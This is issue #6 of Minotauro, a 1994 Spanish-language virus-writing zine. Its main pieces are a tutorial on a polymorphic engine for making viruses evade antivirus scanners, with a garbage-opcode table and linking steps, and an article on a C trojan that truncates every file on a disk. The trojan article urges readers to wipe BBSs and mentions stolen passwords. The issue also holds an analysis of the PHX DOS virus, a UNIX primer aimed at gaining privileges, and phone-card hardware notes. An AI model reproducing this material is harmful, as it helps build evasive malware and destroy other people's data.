Minotauro Magazine Issue #6                             Diciembre 10, 1994 
A Word from the Editors:                                                   
                                                                           
        Kewl. Uhh, sorry. Ya vamos por la edicion #6 de la mino, y se va   
para arriba. Como es, ah, les doy un consejo, jamas escriban una editorial 
despues de haber festejado el ao nuevo. Se los digo por experiencia. hk. 
                                                                           
        Dionysios I     : +54-1-253-4389 (23hs a 09hs)                     
        Dionysios II    : +54-1-253-2098 (23hs a 09hs)                     

        Horarios en GMT-3
                                                                           
        Cambiando de tema, nos hemos enterado de fuentes confiables de que 
muchos de Uds. firman como [DAN]. Muchachos! No es por nada, pero [DAN]    
solo somos 12! No 500 como aparecen por ahi. Asi que para evitar CUALQUIER 
tipo de dudas, les mandamos una lista COMPLETA de miembros de [DAN]:       
                                                                           
+ Lapidario [DAN]                                                          
+ Zarathustra [DAN]                                                        
+ Drako [DAN]                                                              
+ Trurl [DAN]                                                              
+ J. Von Neumann [DAN]                                                     
+ Morgan [DAN]                                                             
+ Wma [DAN]                                                                
+ Bugs Bunny [DAN]                                                         
+ Digital Kid [DAN]                                                        
+ Dr. Retro [DAN]                                                          
+ Vixer [DAN]                                                              
+ Cancerbero [DAN]                                                         
=======================                                                    
12 miembros NADA MAS ok ??                                                 
                                                                           
        Hoy, 1ero de Enero, siendo las 18:05hs, reeditamos la editorial, ya
que se tardo mucho para definir el futuro de la revista. Si la sacabamos   
con entorno, sin entorno, y como para tratar cada idea propuesta para la   
revista se tarda demasiado, se atraso casi um mes esta edicion. Pero ya con
casi todo arreglado, esperamos que la proxima salga mas pronto. Ya que     
estamos, les comentamos que nos hicieron una nota en la Virus Report       
(revista argentina de Virus y otras yerbas, pero con una tendencia         
indefinida), y basandonos en estos hechos, consideramos que la nota fue    
favorable para la revista, lo que nos da ganas de seguir editandola.       
                                                                           
Agradecimientos:                                                           
        A Tattoo por habernos hecho reir tanto ultimamente, a Virus Report 
por haber cumplido con su promesa de ayudar a los hackers locales a        
progresar, a Satanic Brain por haberse pasado a UNIX y hacer cada logon    
exitante, a la empresa Reuters por haberle brindado servicios telefonicos a
mucha gente, a TELECOM por no deshabilitar los # y * de sus telefonos      
publicos y a EDESUR por dejarnos sin luz TODOS LOS PUTOS DIAS entre las    
17hs y 22hs. A todos ustedes: GRACIAS.                                     
                                                                           
        Editorial ................................................ 000     
        Mutator parte #1 ......................................... 001     
        Virus Willistrover III (PHX) ............................. 002     
        Trunker Trojan ........................................... 003     
        Tarjetas de Telefucknica parte #2 ........................ 004     
        Anlisis del VIRSTOP...................................... 005     
        UNIX Tutorial ............................................ 006     
                                                                           
                                                  Drako [DAN]              
Minotauro Magazine Issue #6                                                
                                                                           
                                  MUTATOR 1.0                              
                           El Comienzo de la Historia                      
                                 Por Lapidario                             
                                                                           
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;Se comentara el concepto, desarrollo, implementacion y evaluacion de una  
;rutina de polimorfismo. Esta rutina es solo con fines de divulgacion      
;quedando a consiencia del usuario final lo que haga con ella. El autor    
;LAPIDARIO [DAN] ni los BBS Dionysios I o II, asi como tampoco ninguno de  
;los miembros [DAN] se responsabiliza por la informacion brindada aqui asi 
;como danos que se podria llegar a causar por el uso indevido de parte de  
;los lectores del codigo descripto aqui.                                   
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
                                                                           
Esta nota consiste de tres articulos. Si usted desea evaluar la rutina     
rapidamente le recomiendo leer el file MUTATOR0.TXT.                       
                                                                           
Junto con el primer articulo se distribuyen los siguientes archivos.       
                                                                           
1) MUTATOR0.TXT  Descripcion rapida para avanzados de la mutator.          
2) MUTATOR.ASM   Fuente completo y funcional de la mutator.                
3) MUTATOR.OBJ   Sin palabras.                                             
4) PRUEBA.ASM    Fuente del programa que testea a la mutator.              
5) PRUEBA.OBJ    Sin palabras.                                             
6) PRUEBA.COM    Ejecutable del programa testeador. Corra este programa    
                 para observar los efectos del polimorfismo.               
                                                                           
Encriptacion parte II:                                                     
======================                                                     
En el articulo anterior terminamos con la siguiente frase:                 
"Bien ahora la rutina encr_desc ligeramente cambia entre reproducion       
 y reproduccion.                                                           
                                                                           
Es esto la solucion final ?                                                
                                                                           
No, pues aunque se la hemos complicado a los anti todavia una vez estudiado
el codigo los scaners podran usar comodines. Eso si les costara mas trabajo
( he he he... ). Bueno por algo se desarrollo la mutacion !!!!!. Creo para 
el metodo de xor ya basta lo explicado.                                    
                                                                           
Como veran la rutina de encriptacion no debe por que ser igual a la de     
desencriptacion solo basta con que la segunda desaga los cambios producidos
por la primera.                                                            
                                                                           
Por ejemplo se podra encriptar sumando un numero y desencriptar restando, o
rotando x veces cada byte a la derecha y desencriptar rotando a la         
izquierda, o etc etc, o una mezcla de todos.                               
                                                                           
Si usted leyo, ejecuto, medito y comprendio el articulo anterior estoy     
seguro que implentar sistemas de encriptacion usando otras operaciones     
aritmeticas y logicas (lease add, sub, ror etc...) esta a su alcance. Por  
lo anterior discutiremos e implementaremos una rutina basica de            
polimorfismo."                                                             
                                                                           
Polimorfismo no es mas que un tipo especial de encriptacion de un virus.   
                                                                           
Quien se encarga del polimorfear un codigo ?                               
Una rutina disenada especialmente es la encargada de esta tarea.           
                                                                           
Que debe hacer esta rutina ?                                               
Esta rutina debera generar una nueva rutina de encriptacion cada vez que el
virii se quiera reproducir.                                                
                                                                           
Nada mas que eso ?                                                         
No tambien debera generar la rutina de desencriptacion adecuada a la de    
encriptacion que genero.                                                   
                                                                           
En que consiste la rutina de encriptacion ?                                
Consiste en una secuencia de operaciones matematicas y logicas hechas sobre
los bytes del codigo (not, add, sub, xor, ror, rol, inc, etc ). Ademas     
intercalara entre estas instrucciones, otras que no cumplen ningun         
cometido, solo estaran para variar la longitud del codigo y para camuflear.
                                                                           
Pero entonces la rutina de encriptacion no tendriamos que guardarla en el  
codigo del virus reproducido ?                                             
Por supuesto que no, dado que lo unico que interesa es que la rutina de    
DESENCRIPTACION se encuentre en el codigo reproducido.                     
                                                                           
Que codiciones debe tener la rutina de polimorfismo ?                      
Debe generar una rutina de encriptacion de tal manera de asegurar que el   
virus sea encriptado con un algoritmo lo suficientemente complejo y        
variable, de tal manera que no pueda ser desencritado por el antivirus.    
                                                                           
Bien, pero como seria todo esto ?                                          
Mas o menos deberia seguir los siguientes pasos: (mas o menos pues puede   
ser variado infuenciado por el libre albedrio del autor de cada rutina)    
                                                                           
1) Su codigo viral decide que es el momento de infectar un dado archivo,   
   entonces llama a la rutina de polimorfismo pasandole a esta los         
   parametros necesarios.                                                  
2) La rutina de polimorfismo creara en memoria una imagen del codigo       
   original del viri (a esta imagen la llamamos vir_imagen.) La rutina de  
   polimorfismo creara en memoria una nueva rutina de encriptacion y su    
   correspondiente rutina de desencriptacion.                              
3) La rutina de polimorfismo encriptara el virimagen virus segun la rutina 
   generada en el paso 2 y le anexara al comienzo la rutina de             
   desencriptacion tambien generada en el paso 2.                          
4) La rutina devolvera parametros utiles al codigo llamador.               
5) Se infecta al archivo victima con la imagen creada en memoria en el     
   paso 3.                                                                 
                                                                           
Bien cuando la nueva victima es ejecutada, lo primero que hara sera        
ejecutar la rutina de desencriptacion y luego seguira su ejecucion         
normalmente.                                                               
                                                                           
Esta rutina de polimorfismo debe escribirse en cada virus que uno haga ?   
No, la rutina de polimorfismo debe ser un codigo objeto que pueda ser      
linkeada con cualquier virus.                                              
                                                                           
Como indico en el codigo del virus para que use la rutina de mutacion ?    
Pues simplemente al comienzo del .ASM usted debe escribir:                 
                                                                           
         EXTRN    MUTATOR:NEAR                                             
                                                                           
(Asumimos que la rutina mutator esta en el mismo segmento)                 
Y procede a escribir su codigo como de costumbre hasta que necesita        
encriptar el codigo o dicho de otra manera usar la rutina.                 
                                                                           
;Preparo los registros para pasar parametros y...:                         
                                                                           
         CALL MUTATOR                                                      
                                                                           
Por supuesto que usted debe linkear la mutator.obj junto con su viri.obj   
de la siguiente manera:                                                    
                                                                           
         TLINK [/t] VIRI.OBJ MUTATOR.OBJ                                   
                                                                           
Si observamos el encabezado de la rutina mutator vemos que la rutina es    
definida como PUBLIC esto es para que el codigo del virus pueda hacer uso  
de ella, y ademas el tipo de alineacion de segmento es del tipo byte.      
Esto indica que el codigo se anexa en cualquier offset. (No nesesariamente 
que empiece en 0 quiero decir.)                                            
                                                                           
Como es que la rutina de polimorfismo genera un unico par de rutinas de    
encriptacion/desencriptacion ?                                             
Primero que todo debemos tener una rutina que nos permita hallar numeros   
aleatorios de 16 bits. Esto puede ser tan sencillo como usar in al, 40h y  
usarlo como numero seudoaleatorio o tan complicado como una rutina propia  
de de generacion numeros aleatorios. En este articulo de ejemplo usaremos  
la rutina randgen:                                                         
                                                                           
Esta rutina genera un numero aleatorio en el rango (0 - AX) y se basa en la
generacion de una cadena de maxima longitud, entonces en 16 bits tendremos 
una longitud de 2 elevado a la 16. El algoritmo usado responde a la        
siguiente exprexion:                                                       
                                                                           
         x(n+1)=(2053 * Xn + 13839 ) mod 2^16                              
                                                                           
Sugerida por McCracken en A Guide to PL/M Programming.                     
El modulo significa que hay que tomar el residuo de la division del        
parentesis por 2^16. Este tipo de generacion de numeros seudoaleatorios    
es usado con algunas ligeras modificaciones por otras rutinas de           
polimorfismo. Esta rutina no corrompe los registros devolviendo en AX el   
numero aleatorio.                                                          
                                                                           
En conclucion la generacion de numeros aleatorios esta realizado en 2      
rutinas y una variable.                                                    
                                                                           
1) Genrand (rutina de generacion y normalizacion)                          
2) Baser   (genera la semilla para genrand)                                
3) La variable baserand (se almacena aqui la semilla)                      
                                                                           
Como datos a la rutina de polimorfismo (llamada de ahora en mas mutator)   
le debemos enviar los siguientes datos:                                    
                                                                           
DS:DX :Direccion de comienzo del codigo a encriptar (su virus + la rutina  
       mutator)                                                            
CX    :Longitud del codigo en bytes (su virus + la rutina mutator)         
ES:DI :Zona donde puede trabajar la rutina mutator. Aqui se ubicara el     
       codigo encriptado y la rutina de desencriptacion. El codigo         
       encriptado contendra a su virus y la rutina mutator. Ademas usara   
       una parte memoria para trabajos propios de la rutina.               
                                                                           
La rutina mutator una vez realizada la tarea devuelve los siguientes datos:
                                                                           
CX    :Longitud final del viri imagen encriptado con el agregado de la     
       rutina desencriptacion.                                             
                                                                           
Los demas registros son devueltos tal cual entraron.                       
                                                                           
O sea la rutina mutator generara una rutina de desencriptacion que se      
agregara a continuacion de ES:DI (inclusive) encriptando segun una rutina  
de encriptacion tambien generada por ella desde ES:DI + la longitud de la  
rutina de desencriptacion + 1 (inclusive) hasta ES:DI+CX-1 (inclusive).    
     (*)                                                                   
CX que le devuelve la rutina que equivale a la longitud final del viri     
imagen.                                                                    
                                                                           
ESTRUCTURA DEL VIRI IMAGEN:                                                
===========================                                                
                                                                           
ES:DI->   ______________________                       ____                
         |                      |  ; LONGITUD              }               
         |   RUTINA DE          |  ; VARIABLE              }               
         |   DESENCRIPTACION    |  ; DE AX.                }               
         |DESENCRIPTA A PARTIR  |  ; MAXIMA LONGITUD=0FFH  } LONGITUD      
         |    (A)               |  ;                       } EN BYTES      
         |______________________|  ;                       } DE ESTA       
A------> | SU COPIA DE VIRI     |                          } PORCION       
         | EN MEMORIA           |                          } DEVUELTA      
         | ENCRIPTADO SEGUN LA  |                          } EN CX         
         | RUTINA DE ENCRIPTACION                          } POR LA        
         |                      |                          } RUTINA        
         |______________________|                       ___} MUTATOR       
                                                                           
Debemos definir que instrucciones utilizaremos para encriptar y            
desencriptar. En este ejemplo usaremos las siguientes:                     
                                                                           
Encriptar:                              Desencriptar:                      
                                                                           
add .................................... sub                               
sub .................................... add                               
xor .................................... xor                               
ror .................................... rol                               
rol .................................... ror                               
inc .................................... dec                               
dec .................................... inc                               
not .................................... not                               
                                                                           
Con esto no basta, devemos definir si estas instruciones se la aplicamos a 
bytes a word, etc etc, como asi tambien de que manera direccionamos a los  
datos (llamese punteros). Una vez definidos estos puntos podremos          
implementar la manera de organizar las rutinas que realizen la tarea de    
leer un dato del viri original y lo encripte en memoria como asi tambien la
desencriptacion adecuada.                                                  
                                                                           
Como para no complicar la historia definimos por decreto que aplicaremos   
las operaciones de encriptacion a " bytes ".                               
                                                                           
Por otro lado no interesa que la rutina de encriptacion tenga que ser      
variable (en cuanto a los registros me refiero), por lo tanto siempre      
utilizaremos los mismos registros para manipular los datos.                
                                                                           
Para la rutina de desencriptacion:                                         
                                                                           
A) Basicamente tenemos que usar un registro como indice para acceder a los 
   datos, usaremos DI o SI. Por lo tanto la rutina mutator debera elegir   
   cual de los dos.                                                        
B) Como registro de contador podemos elegir: AX,BX,CX o DX                 
C) Como registro sobre el cual se realiza la operacion de carga            
   encriptacion y descarga del dato encriptado, podremos usar cualquiera   
   que no se halla usado en B).                                            
                                                                           
Ejemplo:                                                                   
               Inicializamos DI=puntero      CX=contador                   
encrip:                                  descrip1:                         
      mov al,[di]                                 mov al,[di]              
      rol al,1                                    inc al                   
                                                  PII (*)                  
                                                                           
      dec al                                      ror al,1                 
      mov [di],ax                                                          
      inc di                                      PII                      
      dec cx                                      mov [di],al              
      jnz encrip                                  inc di                   
                                                  dec cx                   
                                                  jnz descrip              
                                                                           
Pero tambien se podria haber generado esta rutina de desencriptacion.      
inicializamos SI=puntero     AX=contador                                   
descrip2:                                                                  
          mov cl,[si]                                                      
          inc cl                                                           
          PII (*)                                                          
          ror cl,1                                                         
          PII                                                              
          mov [si],cl                                                      
          inc si                                                           
          dec ax                                                           
          jnz descrip2                                                     
                                                                           
Tambien debemos definir las instrucciones que perteneciendo a la rutina de 
desencriptacion, estaran solamente para confundir, intercaladas con las    
que si hacen la tarea de desencriptar. ((*) Las llamamos PPI)              
                                                                           
INSTRUCCION             OP CODE                                            
                                                                           
nop                      90                                                
jc  $+1                  72 00                                             
jnc $+1                  73 00                                             
jz  $+1                  74 00                                             
jnz $+1                  75 00                                             
jpo $+1                  7B 00                                             
jpe $+1                  7A 00                                             
jno $+1                  71 00                                             
jg  $+1                  7F 00                                             
js  $+1                  78 00                                             
xchg  ax,ax              87 C0                                             
xchg  bx,bx              87 DB                                             
xchg  cx,cx              87 C9                                             
xchg  dx,dx              87 D2                                             
or ax,ax                 0B C0                                             
or bx,bx                 0B DB                                             
or cx,cx                 0B C9                                             
or dx,dx                 0B D2                                             
and ax,ax                23 C0                                             
and bx,bx                23 DB                                             
                                                                           
and cx,cx                23 C9                                             
and dx,dx                23 D2                                             
*********************************                                          
PUSH DS                  1E                                                
POP DS                   1F                                                
*********************************                                          
xchg   al,al             86 C0                                             
xchg   bl,bl             86 DB                                             
xchg   cl,cl             86 C9                                             
xchg   dl,dl             86 D2                                             
xchg   ah,ah             86 E4                                             
xchg   bh,bh             86 FF                                             
xchg   ch,ch             86 ED                                             
xchg   dh,dh             86 F6                                             
jmp short $+2            EB 00                                             
mov dx,dx                89 D2                                             
mov sp,sp                89 E4                                             
mov si,si                89 F6                                             
mov bx,bx                89 DB                                             
mov al,al                88 C0                                             
                                                                           
mov bl,bl                88 DB                                             
mov bh,bh                88 FF                                             
                                                                           
mov ah,ah                88 E4                                             
mov cl,cl                88 C9                                             
mov ch,ch                88 ED                                             
                                                                           
mov dl,dl                88 D2                                             
mov dh,dh                88 F6                                             
mov cx,cx                89 C9                                             
mov ax,ax                89 C0                                             
                                                                           
or al,al                 08 C0                                             
or ah,ah                 08 E4                                             
or bl,bl                 08 DB                                             
or bh,bh                 08 FF                                             
or cl,cl                 08 C9                                             
or ch,ch                 08 ED                                             
or dl,dl                 08 D2                                             
or dh,dh                 08 F6                                             
                                                                           
(53d intrucciones inutiles)                                                
En la rutina se almacenan estos opcodes en un vector utilizando como       
indicador de separacion de instruccion o conjunto de instrucciones el byte 
01. La estructura de este vector sera de la siguiente manera.              
                                                                           
byte 1.............NUMERO DE ELEMENTOS DEL VECTOR - 1 (maximo 255)         
                                                                           
Codificando el ejemplo anterior a utilizar en la rutina el vector sera:    
                                                                           
ins_bag db    34h,90h,01h,72h,00h,01h,73h,00h,01h,74h,00h,01h              
        db    75h,00h,01h,87h,0c0h,01h                                     
        db    87h,0dbh,01h,87h,0c9h,01h,87h,0d2h,01h,0bh,0c0h,01h          
        db    0bh,0dbh,01h,0bh,0c9h,01h                                    
        db    23h,0c0h,01h,23h,0dbh,01h,23h,0c9h,01h,23h,0d2h,01h          
        db    1eh,1fh,01h                                                  
        db    086h,0c0h,01h,86h,0dbh,01h,86h,0c9h,01h                      
        db    86h,0d2h,01h,86h,0e4h,01h,86h,0ffh,01h,86h,0edh,01h          
        db    86h,0f6h,01h                                                 
        db    0ebh,00h,01h,89h,0d2h,01h,89h,0e4h,01h,89h,0f6h,01h          
        db    89h,0dbh,01h                                                 
        db    88h,0c0h,01h                                                 
        db    7bh,00h,01h,7ah,00h,01h,71h,00h,01h,7fh,00h,01h              
        db    78h,00h,01h                                                  
        db    88h,0dbh,01h,88h,0ffh,01h,88h,0e4h,01h,88h,0c9h,01h          
        db    88h,0edh,01h,88h,0d2h,01h,88h,0f6h,01h,89h,0c9h,01h          
        db    89h,0c0h,01h                                                 
        db    08h,0c0h,01h,08h,0e4h,01h,08h,0dbh,01h,08h,0ffh,01h          
        db    08h,0c9h,01h,08h,0edh,01h,08h,0d2h,01h,08h,0f6h,01h          
                                                                           
Usted observara que es posible armar en cada elemento del vector una       
secuencia de instrucciones que en relidad no realizen nada util.           
                                                                           
Es de entender que dentro de la rutina mutator hay una rutina que realiza  
la tarea de incluir estas PPI en el codigo de la rutina de desencriptacion.
Esta rutina se llama "poneppi" y trabaja de la siguiente manera. La rutina 
mutator decide que debe poner una o mas instrucciones PPI, entonces llama a
esta rutina que colocara tantas instrucciones PPI como le diga el registro 
AX. De ordinario el registro AX es un parametro pasado por la rutina que   
llama a "poneppi".                                                         
                                                                           
En el fuente de la rutina mutator este AX es cargado con el balor de la EQU
llamada cu_ins_ppi.                                                        
                                                                           
Esta rutina hace uso de las siguientes etiquetas:                          
seg_base:     aqui se almacena ES que le pasa su codigo.                   
ins_counterx: puntero que en un principio es el DI original.               
              Se asemeja a algo asi como el registro IP.                   
La rutina poneppi una vez que decidio cual instruccion de las contenidas en
el vector ins_bag debe colocar llama a la rutina buscains que requiere como
parametro lo siguiente:                                                    
                                                                           
DI=offset donde esta el vector de instrucciones.                           
AX=cual instruccion de todas las contenidas en el vector.                  
Devuelve DI con el offset de la intruccion pedida en ax.                   
                                                                           
Supongase que se termino todo el polimorfismo y entonces la longitud del   
codigo imagen sera:                                                        
                                                                           
CX=ins_counterx - original_di                                              
                                                                           
Bueno dejamos aqui ...continuara...                                        
DUDAS, CONSULTAS, REPORTE DE BUGS, PUTEADAS AL BBS.                        Minotauro Magazine Issue #6                                                
                                                                           
                                 TRUNKER Trojan                            
                                                                           
     Quien de ustedes quizo volar un BBS pero no pudo por no tener         
suficientes conocimientos necesarios o la informacin necesaria como para  
hacerlo. Seguramente pensaron en aprender a hacer un virus, pero esto no es
necesario ya que lo que estamos buscando es un programa que cuando se      
ejecute al instante vuele todo. Para eso vamos a hacer un TROYANO.         
                                                                           
Que es un troyano ? Bueno supongo que habrn leido la Minotauro 2 :-)      
Donde decia lo siguiente:                                                  
                                                                           
Troyano: Programa especialmente hecho para causar dao. Se los suele       
^^^^^^^^ confundir con los virus, aunque no tienen NADA que ver, excepto el
         hecho de que los troyanos hacen dao, y algunos virus hacen dao. 
                      =======================                              
                                                                           
     El troyano esta hecho en C, no toda la vida es Assembler!!! :-)       
     Bueno este troyano lo que hace es truncar (dejar en 0 bytes) todos los
     archivos del disco. Para eso se necesita una rutina de recursividad   
     para entrada a directorios.                                           
                                                                           
El programa entra al primer directorio que encuentra y trunca los files,   
busca el primer directorio donde acaba de entrar y sigue haciendo lo mismo 
hasta que no encuentra mas directorios para entrar entonces sale ("..") y  
busca el prximo para entrar y hacer lo mismo.                             
                                                                           
;==========================================================================
;Codigo Fuente en TRUNKER.C                                                
;==========================================================================
                                                                           
Bueno, ahora a volar BBSs!!!, conseguir una cuenta no es muy dificil, si   
leyeron la Minotauro 1, la parte de robos de passwords por Drako, aunque no
creo que sea necesario, ya que ahora se valida bastante online si encontras
al sysop para chat y este no es muy normal.                                
Bueno,...                                                                  
                  That's all folks                                         
                                           Enjoy, Jason!                   Minotauro Magazine Issue #6:                                               
                                                                           
                           UNIX: Sistema Operativo                         
                                 Multiusuario                              
                                                                           
        UNIX es un sistema operativo multiusuario. Ustedes se preguntaran  
que significa Sistema Operativo Multiusuario?: Es un sistema que permite   
ser usado por mas de una persona al mismo tiempo, y dependiendo de su nivel
va a tener un privilegio previamente asignado.                             
                                                                           
Es un entorno excelente para comunicaciones, ya que posee comandos con ese 
proposito. Y posee tres tipos de SHELLS diferentes y cada uno tiene sus    
particularidades (no son tema de esta nota). En el directorio raiz esta el 
archivo UNIX que es el que bootea el sistema y cada vez que uno configura  
alguna cosa ya sea drivers o com's debe re-compilarse.                     
                                                                           
Lo importante de un sistema bajo unix es saber como conseguir mas          
privilegios dentro. El usuario que mas privilegios tiene, en los sistemas  
standar se llama root (esto puede cambiarse pero por lo general no lo      
cambian). Ademas estos usuarios pertenecen a un grupo. Por ejemplo esta el 
grupo bin uno puede incluirse dentro de ellos cuando da el alta de un user!
                                                                           
Veamos algunos commandos:                                                  
                                                                           
ls -lia  ;Este comando es como el dir del DOS. ls es el comando y -lia los 
         ;parametros.                                                      
l        ; "      "     "   "  "   "   "   " pero en equipos con unix S.C.O
cp ori dest ;"    "     "   "  " copy  "   " indicando origen y destino.   
mv ori dest ;Este comando mueve archivos se debe indicar origen y dest.    
cd nomdir   ;Para cambiar de directorio.                                   
who         ;Da una lista de los usuarios que estan en ese momento en el   
            ;Sistema Trabajando!.                                          
                                                                           
                                                                           
Estos son los comandos basicos para moverse dentro del sistema.            
                                                                           
Ahora analicemos la estructura de un l o un ls -lia:                       
                                                                           
-rw-r--r--   1 root     other       1564 Oct 06 08:09 unix.txt             
                                                                           
Dividamos la informacion en campos separados por espacios:                 
                                                                           
-rw-r--r--   <- Estos son los permisos del archivo.                        
                                                                           
r permiso de lectura                                                       
w permiso de escritura                                                     
x permiso de ejecucion                                                     
                                                                           
Se agrupan de a tres. Ej. -rwxrwxrwx. Expresemoslo asi -rwx,rwx,rwx, tengo 
3 campos el primero son los permisos del duenio del archivo, el sugundo    
campo indica los permisos a los que pertenecen al grupo el duenio del      
archivo  y el tercer campo es para los demas o sea que no son ni el duenio 
ni pertenecen al grupo.                                                    
Si en el primer campito apareciera una d es porque es un directorio, solo  
que en unix todo es archivo solo que se le pone el atributo directorio.    
Analicemos el caso dado:                                                   
                                                                           
-rw-r--r--   Esto significa permiso de lectura-escritura para el duenio    
             y solo de lectura para el grupo y los otros.                  
             Por supuesto que esto puede ser modificado pero tendriamos    
             que tener permiso de escritura.                               
                                                                           
                                                                           
root     other   ;Nombre del duenio y del grupo repectivamente.            
                                                                           
1564          ;Tamanio                                                     
                                                                           
Oct 06 08:09  ;Fecha ultima modificacion                                   
                                                                           
unix.txt      ;Nombre del file                                             
                                                                           
Bueno esto es todo por ahora espero que les sirva como para manejarse      
dentro de un sistema unix, no van a  ser los hackers de America pero van   
a moverse bien.                                                            
Si quieren probar un poco no tienen mas que llamar a The Darkness Club y   
puede ser que el bbs ese dia este en unix.                                 
                                                                           
En una proxima publicacion les mostrare como cambiar permisos de archivos  
y como averiguar que usuarios estan dados de alta en el sistema.           
                                                                           
                                           Dark Mind                       Minotauro Magazine Issue #6                                                
                                                                           
                           Virus PHX (Tracker)                             
                                Por Trurl                                  
                                                                           
     Hoy analizamos un virus nacional que es ya un clsico. El PHX (PHX.823
segn el F-Prot y el TBAV, Willistrover III segn el Scan, y Tracker, segn
su autor, Armagedn).                                                      
     No voy a extenderme mucho porque casi todo fue ya dicho por           
Bonsembiante en su nota de Virus Report N 12 (que estoy seguro todos      
ustedes tienen) y porque excepto por la activacin, el virus no usa        
tcnicas novedosas, solo usa cosas que todos ya conocemos (p.ej. residente 
va MCB, infeccin de EXE/COM tradicionales, etc).                         
                                                                           
% El "rastreador" %                                                        
     Las caractersticas del virus son bastante comunes, excepto por una   
excepcionalmente compleja activacin.                                      
     El PHX es un infector residente de COM/EXE. La residencia es mediante 
el tradicional mtodo de MCB. Al igual que el CPW, chequea el espacio libre
del disco antes de infectar, y solo lo hace si hay al menos 2 clusters     
disponibles. El virus conserva el Time & Date stamp del file, y puede      
infectar archivos Read Only. Los mtodos de infeccin son tambin          
tradicionales: el JMP al principio del COM, y la manipulacin del header   
EXE. Al infectar, captura la int 24 a una rutina dummy para evitar mensajes
de errores de disco. Antes de infectar un COM se fija si su size no supera 
0FC00h.                                                                    
     Un bug en el cdigo de instalacin de COM produce que el virus quede  
mas de una vez en memoria. (Sucede si se corren dos COM infectados).       
     El PHX mantiene dos contadores: El primero, es un contador de         
infecciones, y lo mantiene dentro del cdigo (en mi ejemplar era 27.       
Lindo!). El segundo, es un contador de instalaciones (el nmero de veces   
que el virus se instalo en una maquina) y lo mantiene en el byte 5 de la   
CMOS. Este contador es chequeado en la activacin. Un detalle estpido: Al 
quedar residente va MCB, pone en el "nombre" del MCB (los ltimos 8 bytes)
los caracteres "SP".                                                       
     El virus previene la reinfeccin mediante la bsqueda de una "marca"  
final de 3 bytes. (28,8,93).                                               
                                                                           
% Activacin %                                                             
     El PHX tiene 3 disparadores. Cuando uno cualquiera de estos satisface 
las condiciones necesarias, una variable se pone a 1. Estas 3 condiciones  
son:                                                                       
     1) Un string del environment termina en "PHX". (Esto lo chequea en la 
rutina de intercepcin de la funcin 4B, antes de infectar).               
     2) El port 3E4 devuelve FF. (Esto lo chequea en la misma rutina,      
despus de infectar).                                                      
     3) Se esta ejecutando un programa que el reconoce (Esto lo verifica en
la rutina de intercepcin de la 3D02. El virus compara un cdigo que tiene 
con el del CS:IP llamador, osea, el cdigo al que retornar la INT.)       
     La rutina de activacin "en si" esta en la rutina de intercepcin de  
la funcin 40. Si la variable de activacin esta en 1, chequea que el      
contador de instalaciones sea mayor a 128 (80h). Esto hace que la          
activacin sea sumamente lenta. Ahora bien, si todo esto sucede, lo UNICO  
que hace el virus es switchear el bit mas alto del ltimo byte que se      
escribe va esta llamada a INT 40, y esto lo hace mediante un XOR [], 80h. 
Osea, si el bit esta en 1, pasara a estar en 0, y viceversa. Esto si que es
un ataque LENTO. :-). Un BIT cada vez.                                     
                                                                           
% Conclusin %                                                             
     Quiz el virus infector de COM/EXE mas viejo de la Argentina... una   
activacin de una complejidad de la puta madre... bueno, ac esta, mrenlo:
                                                                           
;---- Cut Here ------------------------------------------------------------
;Codigo Fuente en TRACKER.ASM                                              
;--------------------------------------------------------------------------
                                                                           
     Bueno ya no les digo "cortar, pegar, ensamblar" porque ahora Drako los
corta l los sources. Ah, y por fin un virus al que no le tengo que hacer  
ningn fix para tener un byte-a-byte match compilando con TASM 3.1! Al fin!
Saludos a Armagedon, y a todos uds. y hasta el prximo virus...            
                                           Trurl TGC [DIN DON DAN]         Minotauro Magazine Issue #6                                                
                                                                           
                             Tarjetas Telefnicas                          
                               (Segunda parte)                             
                    J. Von Neumann & B. Bunny (c) 1994 [DAN]               
                                                                           
                                                                           
  Antes que nada vamos a clarar algunos puntos del nro 1 de esta nota.     
                                                                           
  Primero, el circuito interno de la targeta. Despues de ver el articulo   
  publicado nos dimos cuenta que el grafigo era una verdadera garcha. Por  
  eso afanams uno de por ahi, que es un poco mas tecnico, y que quiza le   
  de a aquellos que estudian o entienden de electronica una idea mas clara 
  del hard de la targeta. Recortenlo, encuadrenlo y cuenguenlo en su       
  habitacion.                                                              
                                                                           
Diagrama en bloques:                                                       
                                                                           
                                                                           
   
                                                                         
                                                                     
    CK                                                   
                                                                    
          Reset                     
    R/W>             >                                    
                            CONTADOR 8 BITS                     
       DECODIFICADOR Inc                                      
    Reset>             >                                    
                                  
               E          4 BITS         4 BITS                       
               s                                        
               c                             
               r                 DEC.   Y                        
               i                                   
               t                       16 BITS                    
               u         D                         
               r         E         Addr Y         D              
               a         C     A                  R              
                         . 16 Bd                  I              
                      >   >d   MEMORIA   > V              
                          X     r    PROM          E              
                                                   R              
                                X  R/W  Vpp                       
                                                    
                                    ^     ^                         
                                                    
                         DRIVER DE                    
    Fuse                       ESCRITURA                   
                                 >I/O 
                 ^       ^                    
          Logica de Proteccion                                  
          de escritura.              Vpp 
          (compuerta tipo AND)                                    
                                                   
                                                                         
   
                                                                           
                                                                           
  Otra cosa por aclarar es lo sig : El terminal de datos lo llamamos I/O   
  por convension, pues asi se lo llama en todas las memorias. Pero por     
  este terminal solo SALEN datos, pues en modo escritura la targeta graba  
  un '1' por default, sin importar si en I/O hay un '1' o un '0'.          
                                                                           
  Hay muchos que nos preguntaron para que carajo servia 'Fuse'. La cosa es 
  facil. Los primeros 96 bits son accesibles si el fusible que esta en esa 
  pata esta intacto. Luego de haber programado la targeta ( nro de serie,  
  cantidad de pulsos, etc ), se aplica a este terminal -40 V con respecto a
  masa, quemando el fusible. Asi, esa zona de datos ya no podra ser        
  modificada.                                                              
                                                                           
Mapa de memoria :                                                          
                                                                           
                    08                                   
                                                                         
                                      Zona protegida                     
                                      contra escritura                   
                                      por fusible de bloqueo.            
                                                                         
                                                         
                   96                                                    
                                                                         
                                      Zona no protegida.                 
                                                                         
                                                                         
                                                                         
                                                                         
                     255                                 
                                                                           
                                                                           
  Si se fijan por ahi hay dos graficos .GIF (by Dr Retro), uno muestra     
  el diagrama de tiempos de la targeta en modo lectura y escritura. Aclara 
  un poco el panorama de como el tel se comunica con el puto chip.         
  Vamos a darle un breve repaso.                                           
                                                                           
  Reset:                                                                   
